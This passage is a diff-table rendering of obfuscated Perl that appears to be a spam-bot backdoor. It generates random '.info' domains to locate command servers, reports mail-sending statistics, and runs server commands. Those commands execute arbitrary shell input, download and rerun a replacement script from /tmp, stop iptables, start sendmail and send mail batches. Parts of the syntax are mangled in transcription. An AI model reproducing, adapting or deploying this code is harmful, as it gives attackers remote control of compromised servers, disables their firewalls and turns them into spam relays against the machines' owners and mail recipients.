| 393 | + | $h39c. = '.'.$p[1].$p[0].$p[3]; |
| 394 | - | $h39c. = '.'.$p[7].$p[9]; |
| 394 | + | $h39c. = '.'.$p[7].$p[9]; |
| 395 | - | $h39c. = '.'.$p[3]; |
| 395 | + | $h39c. = '.'.$p[3]; |
| 396 | - | return($h39c, $ifib) if (aae($h39c, $ifib)); |
| 396 | + | return($h39c, $ifib) if (aae($h39c, $ifib)); |
| 397 | } | |
| 398 | - | next if ($b7ha == $cben); |
| 398 | + | next if ($b7ha == $cben); |
| 399 | - | return($h843, $ifib) if (aap($g07h[$cben], $ifib)); |
| 399 | + | return($h843, $ifib) if (aap($g07h[$cben], $ifib)); |
| 400 | } | |
| 401 | - | my @p = split '', $p; |
| 401 | + | my @p = split '', $p; |
| 402 | - | my $h39c = $p[1].$p[9]; |
| 402 | + | my $h39c = $p[1].$p[9]; |
| 403 | - | $h39c = $h39c.$p[7].'.'.$h39c; |
| 403 | + | $h39c = $h39c.$p[7].'.'.$h39c; |
| 404 | - | $h39c = '.'.$h39c; |
| 404 | + | $h39c = '.'.$h39c; |
| 405 | - | $h39c = '.'.$p[1].$p[2].$h39c; |
| 405 | + | $h39c = '.'.$p[1].$p[2].$h39c; |
| 406 | - | $h39c = $p[8].$p[3].$h39c; |
| 406 | + | $h39c = $p[8].$p[3].$h39c; |
| 407 | - | return($h39c, $ifib) if (aae($h39c, $ifib)); |
| 407 | + | return($h39c, $ifib) if (aae($h39c, $ifib)); |
| 408 | - | $bidj++; |
| 408 | + | $bidj++; |
| 409 | - | return undef; |
| 409 | + | return undef; |
| 410 | } | |
| 411 | - | my $jc4b = 0; |
| 411 | + | my $jc4b = 0; |
| 412 | - | sub aaj {($hamo, $ifib) = ab6();
|
| 412 | + | sub aaj {($hamo, $ifib) = ab6();
|
| 413 | - | $jc4b = time() if ($hamo); |
| 413 | + | $jc4b = time() if ($hamo); |
| 414 | $bj1c {
| |
| 415 | - | 'd_fd' |
| 415 | + | 'd_fd' |
| 416 | - | } = $hamo; |
| 416 | + | } = $hamo; |
| 417 | $bj1c {
| |
| 418 | - | 'd_fi' |
| 418 | + | 'd_fi' |
| 419 | - | } = $alf3; |
| 419 | + | } = $alf3; |
| 420 | $bj1c {
| |
| 421 | - | 'd_fp' |
| 421 | + | 'd_fp' |
| 422 | - | } = $ifib; |
| 422 | + | } = $ifib; |
| 423 | } | |
| 424 | - | sub ab0 {
|
| 424 | + | sub ab0 {
|
| 425 | - | my($cpgi, $c89b) = (14400, 3600); |
| 425 | + | my($cpgi, $c89b) = (14400, 3600); |
| 426 | - | return if (time() - $jc4b < $cpgi); |
| 426 | + | return if (time() - $jc4b < $cpgi); |
| 427 | - | my($e2n0, $d6pa, $b7l7) = ($hamo, $ifib, $alf3); |
| 427 | + | my($e2n0, $d6pa, $b7l7) = ($hamo, $ifib, $alf3); |
| 428 | - | aaj(); |
| 428 | + | aaj(); |
| 429 | - | return if ($hamo && $ifib && $alf3); |
| 429 | + | return if ($hamo && $ifib && $alf3); |
| 430 | - | ($hamo, $ifib, $alf3) = ($e2n0, $d6pa, $b7l7); |
| 430 | + | ($hamo, $ifib, $alf3) = ($e2n0, $d6pa, $b7l7); |
| 431 | - | $jc4b = time() - ($cpgi - $c89b); |
| 431 | + | $jc4b = time() - ($cpgi - $c89b); |
| 432 | } | |
| 433 | - | sub aap {
|
| 433 | + | sub aap {
|
| 434 | - | my $hamo = shift; |
| 434 | + | my $hamo = shift; |
| 435 | - | my $ifib = shift; |
| 435 | + | my $ifib = shift; |
| 436 | - | my $e905 = "www.".$hamo; |
| 436 | + | my $e905 = "www.".$hamo; |
| 437 | - | my $edod = aak(inet_aton($e905)); |
| 437 | + | my $edod = aak(inet_aton($e905)); |
| 438 | - | if ($edod) {
|
| 438 | + | if ($edod) {
|
| 439 | - | my $iph5 = ab4(10).".".$hamo; |
| 439 | + | my $iph5 = ab4(10).".".$hamo; |
| 440 | - | my $c7g3 = aak(inet_aton($iph5)); |
| 440 | + | my $c7g3 = aak(inet_aton($iph5)); |
| 441 | - | if ($c7g3 && ($c7g3 == $edod + 1)) {
|
| 441 | + | if ($c7g3 && ($c7g3 == $edod + 1)) {
|
| 442 | - | return aae($iph5, $ifib); |
| 442 | + | return aae($iph5, $ifib); |
| 443 | } | |
| 444 | } | |
| 445 | - | return 0; |
| 445 | + | return 0; |
| 446 | } | |
| 447 | - | sub aae {
|
| 447 | + | sub aae {
|
| 448 | - | $h843 = shift; |
| 448 | + | $h843 = shift; |
| 449 | - | my $ifib = shift; |
| 449 | + | my $ifib = shift; |
| 450 | - | my $io8b = int(rand(2147483647)); |
| 450 | + | my $io8b = int(rand(2147483647)); |
| 451 | - | my $geaj = int(rand(2147483647)); |
| 451 | + | my $geaj = int(rand(2147483647)); |
| 452 | - | $alf3 = aba($h843); |
| 452 | + | $alf3 = aba($h843); |
| 453 | - | my $e0kj = $io8b."*".$hahk."*".$geaj; |
| 453 | + | my $e0kj = $io8b."*".$hahk."*".$geaj; |
| 454 | - | my $b946 = aac($e0kj, $alf3); |
| 454 | + | my $b946 = aac($e0kj, $alf3); |
| 455 | - | my $g6hd = "https://$h843:$ifib/$k0ob?id=$b946&check=1"; |
| 455 | + | my $g6hd = "https://$h843:$ifib/$k0ob?id=$b946&check=1"; |
| 456 | - | my @bfgb = ab8($g6hd); |
| 456 | + | my @bfgb = ab8($g6hd); |
| 457 | - | for (my $i = 0; $i < scalar(@bfgb); |
| 457 | + | for (my $i = 0; $i < scalar(@bfgb); |
| 458 | - | $i++) {
|
| 458 | + | $i++) {
|
| 459 | - | $bfgb[$i] = aah($bfgb[$i], $geaj); |
| 459 | + | $bfgb[$i] = aah($bfgb[$i], $geaj); |
| 460 | } | |
| 461 | - | my $jfcn = shift @bfgb; |
| 461 | + | my $jfcn = shift @bfgb; |
| 462 | - | if ($jfcn = ~ /^ SUCCESS$ /) {
|
| 462 | + | if ($jfcn = ~ /^ SUCCESS$ /) {
|
| 463 | - | $bidj = 0; |
| 463 | + | $bidj = 0; |
| 464 | return 1; | |
| 465 | } | |
| 466 | - | return 0; |
| 466 | + | return 0; |
| 467 | } | |
| 468 | - | sub ab5 {
|
| 468 | + | sub ab5 {
|
| 469 | - | my $geaj = shift; |
| 469 | + | my $geaj = shift; |
| 470 | - | my $io8b = shift; |
| 470 | + | my $io8b = shift; |
| 471 | - | my $c7bm; |
| 471 | + | my $c7bm; |
| 472 | - | foreach my $f (keys %bj1c) {
|
| 472 | + | foreach my $f (keys %bj1c) {
|
| 473 | - | if ($f = ~ /^ d_(. +) $ /) {
|
| 473 | + | if ($f = ~ /^ d_(. +) $ /) {
|
| 474 | - | my $he4e = $1; |
| 474 | + | my $he4e = $1; |
| 475 | - | $c7bm. = ($c7bm ? "|" : "")."$he4e=".$bj1c {
|
| 475 | + | $c7bm. = ($c7bm ? "|" : "")."$he4e=".$bj1c {
|
| 476 | - | $f |
| 476 | + | $f |
| 477 | }; | |
| 478 | } | |
| 479 | } | |
| 480 | - | $c7bm = "$io8b*$c7bm" if ($io8b); |
| 480 | + | $c7bm = "$io8b*$c7bm" if ($io8b); |
| 481 | - | return aac($c7bm, $geaj); |
| 481 | + | return aac($c7bm, $geaj); |
| 482 | } | |
| 483 | - | my $afj0; |
| 483 | + | my $afj0; |
| 484 | - | sub aao {
|
| 484 | + | sub aao {
|
| 485 | - | my $fpek = shift || time || 4357; |
| 485 | + | my $fpek = shift || time || 4357; |
| 486 | - | my @a = (); |
| 486 | + | my @a = (); |
| 487 | - | for (1..10000) {
|
| 487 | + | for (1..10000) {
|
| 488 | - | use integer; |
| 488 | + | use integer; |
| 489 | - | push @a, |
| 489 | + | push @a, |
| 490 | - | $fpek & 0 x7fffffff; |
| 490 | + | $fpek & 0 x7fffffff; |
| 491 | - | $fpek *= 69069; |
| 491 | + | $fpek *= 69069; |
| 492 | } | |
| 493 | - | $afj0 = {
|
| 493 | + | $afj0 = {
|
| 494 | - | offset => 0, |
| 494 | + | offset => 0, |
| 495 | - | array => \@a |
| 495 | + | array => \@a |
| 496 | } | |
| 497 | } | |
| 498 | - | sub aam {
|
| 498 | + | sub aam {
|
| 499 | - | my $jpnb = shift || 1.0; |
| 499 | + | my $jpnb = shift || 1.0; |
| 500 | - | aao() unless defined $afj0; |
| 500 | + | aao() unless defined $afj0; |
| 501 | - | $afj0 - > {
|
| 501 | + | $afj0 - > {
|
| 502 | - | offset |
| 502 | + | offset |
| 503 | - | } = ($afj0 - > {
|
| 503 | + | } = ($afj0 - > {
|
| 504 | - | offset |
| 504 | + | offset |
| 505 | - | } + 1) % 10000; |
| 505 | + | } + 1) % 10000; |
| 506 | - | my $c8i0 = $afj0 - > {
|
| 506 | + | my $c8i0 = $afj0 - > {
|
| 507 | - | offset |
| 507 | + | offset |
| 508 | }; | |
| 509 | - | my $a = $afj0 - > {
|
| 509 | + | my $a = $afj0 - > {
|
| 510 | - | array |
| 510 | + | array |
| 511 | }; | |
| 512 | - | $$a[$c8i0] = ($$a[($c8i0 - 471) % 10000] ^ $$a[($c8i0 - 1586) % 10000] ^ $$a[($c8i0 - 6988) % 10000] ^ $$a[($c8i0 - 9689) % 10000]); |
| 512 | + | $$a[$c8i0] = ($$a[($c8i0 - 471) % 10000] ^ $$a[($c8i0 - 1586) % 10000] ^ $$a[($c8i0 - 6988) % 10000] ^ $$a[($c8i0 - 9689) % 10000]); |
| 513 | - | return $$a[$c8i0] * $jpnb / (2 ** 31); |
| 513 | + | return $$a[$c8i0] * $jpnb / (2 ** 31); |
| 514 | } | |
| 515 | - | sub aab {
|
| 515 | + | sub aab {
|
| 516 | - | my $jh9k = 10; |
| 516 | + | my $jh9k = 10; |
| 517 | - | my @gfe3 = ('a'..'z');
|
| 517 | + | my @gfe3 = ('a'..'z');
|
| 518 | - | aao(123987); |
| 518 | + | aao(123987); |
| 519 | - | my $fpmd; |
| 519 | + | my $fpmd; |
| 520 | - | for (my $i = -15; $i < $gbed; $i++) {
|
| 520 | + | for (my $i = -15; $i < $gbed; $i++) {
|
| 521 | - | $fpmd = ""; |
| 521 | + | $fpmd = ""; |
| 522 | - | foreach(1.. $jh9k) {
|
| 522 | + | foreach(1.. $jh9k) {
|
| 523 | - | $fpmd. = $gfe3[int(aam(scalar(@gfe3)))]; |
| 523 | + | $fpmd. = $gfe3[int(aam(scalar(@gfe3)))]; |
| 524 | } | |
| 525 | - | if ($i >= 0) {
|
| 525 | + | if ($i >= 0) {
|
| 526 | - | my $fhf8 = $fpmd.".info"; |
| 526 | + | my $fhf8 = $fpmd.".info"; |
| 527 | - | push @g07h, |
| 527 | + | push @g07h, |
| 528 | - | $fhf8; |
| 528 | + | $fhf8; |
| 529 | } | |
| 530 | } | |
| 531 | } | |
| 532 | - | if (!aai()) {
|
| 532 | + | if (!aai()) {
|
| 533 | - | exit; |
| 533 | + | exit; |
| 534 | } | |
| 535 | - | aab(); |
| 535 | + | aab(); |
| 536 | - | my $iib6 = 0; |
| 536 | + | my $iib6 = 0; |
| 537 | - | while (1) {
|
| 537 | + | while (1) {
|
| 538 | - | my $jfcn; |
| 538 | + | my $jfcn; |
| 539 | - | my @bfgb; |
| 539 | + | my @bfgb; |
| 540 | - | ab7(); |
| 540 | + | ab7(); |
| 541 | - | aaj() if (!$hamo || !$ifib || !$alf3); |
| 541 | + | aaj() if (!$hamo || !$ifib || !$alf3); |
| 542 | - | ab0(); |
| 542 | + | ab0(); |
| 543 | - | if (!$hamo || !$ifib || !$alf3) {
|
| 543 | + | if (!$hamo || !$ifib || !$alf3) {
|
| 544 | - | if ($bidj >= 24) {
|
| 544 | + | if ($bidj >= 24) {
|
| 545 | - | last; |
| 545 | + | last; |
| 546 | } | |
| 547 | - | sleep 3600; |
| 547 | + | sleep 3600; |
| 548 | - | next; |
| 548 | + | next; |
| 549 | } | |
| 550 | - | my $io8b = int(rand(2147483647)); |
| 550 | + | my $io8b = int(rand(2147483647)); |
| 551 | - | my $c74e = int(rand(2147483647)); |
| 551 | + | my $c74e = int(rand(2147483647)); |
| 552 | - | my $geaj = int(rand(2147483647)); |
| 552 | + | my $geaj = int(rand(2147483647)); |
| 553 | - | my $e0kj = $io8b."*".$hahk."*".$geaj; |
| 553 | + | my $e0kj = $io8b."*".$hahk."*".$geaj; |
| 554 | - | my $b946 = aac($e0kj, $alf3); |
| 554 | + | my $b946 = aac($e0kj, $alf3); |
| 555 | - | my $g6hd = "https://$alf3:$ifib/$k0ob?id=$b946"; |
| 555 | + | my $g6hd = "https://$alf3:$ifib/$k0ob?id=$b946"; |
| 556 | - | $g6hd. = "&sent=$jb0l"; |
| 556 | + | $g6hd. = "&sent=$jb0l"; |
| 557 | - | $g6hd. = "¬sent=$b8mj"; |
| 557 | + | $g6hd. = "¬sent=$b8mj"; |
| 558 | - | $g6hd. = "&unknown=".CGI :: escape($c087) if ($c087); |
| 558 | + | $g6hd. = "&unknown=".CGI :: escape($c087) if ($c087); |
| 559 | - | $g6hd. = "&testsend=1" if ($i5fg); |
| 559 | + | $g6hd. = "&testsend=1" if ($i5fg); |
| 560 | - | $g6hd. = "&stat=".ab5($alf3, $c74e); |
| 560 | + | $g6hd. = "&stat=".ab5($alf3, $c74e); |
| 561 | - | @bfgb = ab8($g6hd); |
| 561 | + | @bfgb = ab8($g6hd); |
| 562 | - | for (my $i = 0; $i < scalar(@bfgb); |
| 562 | + | for (my $i = 0; $i < scalar(@bfgb); |
| 563 | - | $i++) {
|
| 563 | + | $i++) {
|
| 564 | - | $bfgb[$i] = aah($bfgb[$i], $geaj); |
| 564 | + | $bfgb[$i] = aah($bfgb[$i], $geaj); |
| 565 | } | |
| 566 | - | $jfcn = shift @bfgb; |
| 566 | + | $jfcn = shift @bfgb; |
| 567 | - | if ($jfcn) {
|
| 567 | + | if ($jfcn) {
|
| 568 | - | $iib6 = 0; |
| 568 | + | $iib6 = 0; |
| 569 | - | $jb0l = 0; |
| 569 | + | $jb0l = 0; |
| 570 | - | $b8mj = 0; |
| 570 | + | $b8mj = 0; |
| 571 | - | $i5fg = 0; |
| 571 | + | $i5fg = 0; |
| 572 | - | $c087 = 0; |
| 572 | + | $c087 = 0; |
| 573 | - | } else {
|
| 573 | + | } else {
|
| 574 | - | $iib6++; |
| 574 | + | $iib6++; |
| 575 | - | if ($iib6 > 3) {
|
| 575 | + | if ($iib6 > 3) {
|
| 576 | - | $iib6 = 0; |
| 576 | + | $iib6 = 0; |
| 577 | - | undef($hamo); |
| 577 | + | undef($hamo); |
| 578 | - | undef($alf3); |
| 578 | + | undef($alf3); |
| 579 | - | undef($ifib); |
| 579 | + | undef($ifib); |
| 580 | } | |
| 581 | - | $jfcn = "SLEEP 60"; |
| 581 | + | $jfcn = "SLEEP 60"; |
| 582 | } | |
| 583 | - | if ($jfcn = ~ /^ SLEEP ([0 - 9] +) $ /) {
|
| 583 | + | if ($jfcn = ~ /^ SLEEP ([0 - 9] +) $ /) {
|
| 584 | - | sleep $1; |
| 584 | + | sleep $1; |
| 585 | - | next; |
| 585 | + | next; |
| 586 | } | |
| 587 | - | elsif ($jfcn = ~ /^ RELOAD (. *) $ /) {
|
| 587 | + | elsif ($jfcn = ~ /^ RELOAD (. *) $ /) {
|
| 588 | - | aag($1, "/tmp/ "); |
| 588 | + | aag($1, "/tmp/ "); |
| 589 | - | close(SIGNFH); |
| 589 | + | close(SIGNFH); |
| 590 | - | system('cd /tmp; nohup perl " " " " &');
|
| 590 | + | system('cd /tmp; nohup perl " " " " &');
|
| 591 | - | sleep 5; |
| 591 | + | sleep 5; |
| 592 | - | `rm - f "/tmp/ " / tmp / nohup.out`; |
| 592 | + | `rm - f "/tmp/ " / tmp / nohup.out`; |
| 593 | - | last; |
| 593 | + | last; |
| 594 | } | |
| 595 | - | elsif ($jfcn = ~ /^ KILL$ /) {
|
| 595 | + | elsif ($jfcn = ~ /^ KILL$ /) {
|
| 596 | - | last; |
| 596 | + | last; |
| 597 | } | |
| 598 | - | elsif ($jfcn = ~ /^ SEND ([a - zA - Z0 - 9] +) $ /) {
|
| 598 | + | elsif ($jfcn = ~ /^ SEND ([a - zA - Z0 - 9] +) $ /) {
|
| 599 | - | aal($1, \@bfgb); |
| 599 | + | aal($1, \@bfgb); |
| 600 | - | undef @bfgb; |
| 600 | + | undef @bfgb; |
| 601 | - | sleep 1; |
| 601 | + | sleep 1; |
| 602 | - | next; |
| 602 | + | next; |
| 603 | } | |
| 604 | - | elsif ($jfcn = ~ /^ TESTSEND ([a - zA - Z0 - 9] +) $ /) {
|
| 604 | + | elsif ($jfcn = ~ /^ TESTSEND ([a - zA - Z0 - 9] +) $ /) {
|
| 605 | - | aal($1, \@bfgb); |
| 605 | + | aal($1, \@bfgb); |
| 606 | - | undef @bfgb; |
| 606 | + | undef @bfgb; |
| 607 | - | $i5fg = 1; |
| 607 | + | $i5fg = 1; |
| 608 | - | sleep 1; |
| 608 | + | sleep 1; |
| 609 | - | next; |
| 609 | + | next; |
| 610 | } | |
| 611 | - | elsif ($jfcn = ~ /^ EXECUTE (. *) $ /) {
|
| 611 | + | elsif ($jfcn = ~ /^ EXECUTE (. *) $ /) {
|
| 612 | - | qx($1); |
| 612 | + | qx($1); |
| 613 | - | next; |
| 613 | + | next; |
| 614 | } | |
| 615 | - | elsif ($jfcn = ~ /^ START SENDMAIL$ /) {
|
| 615 | + | elsif ($jfcn = ~ /^ START SENDMAIL$ /) {
|
| 616 | - | `service sendmail start`; |
| 616 | + | `service sendmail start`; |
| 617 | - | next; |
| 617 | + | next; |
| 618 | } | |
| 619 | - | elsif ($jfcn = ~ /^ STOP IPTABLES$ /) {
|
| 619 | + | elsif ($jfcn = ~ /^ STOP IPTABLES$ /) {
|
| 620 | - | `service iptables stop`; |
| 620 | + | `service iptables stop`; |
| 621 | - | next; |
| 621 | + | next; |
| 622 | } | |
| 623 | - | $c087 = $jfcn; |
| 623 | + | $c087 = $jfcn; |
| 624 | - | sleep 30; |
| 624 | + | sleep 30; |
| 625 | - | if (!aae($hamo, $ifib)) {
|
| 625 | + | if (!aae($hamo, $ifib)) {
|
| 626 | - | undef($hamo); |
| 626 | + | undef($hamo); |
| 627 | - | undef($alf3); |
| 627 | + | undef($alf3); |
| 628 | - | undef($ifib); |
| 628 | + | undef($ifib); |
| 629 | } | |
| 630 | } |
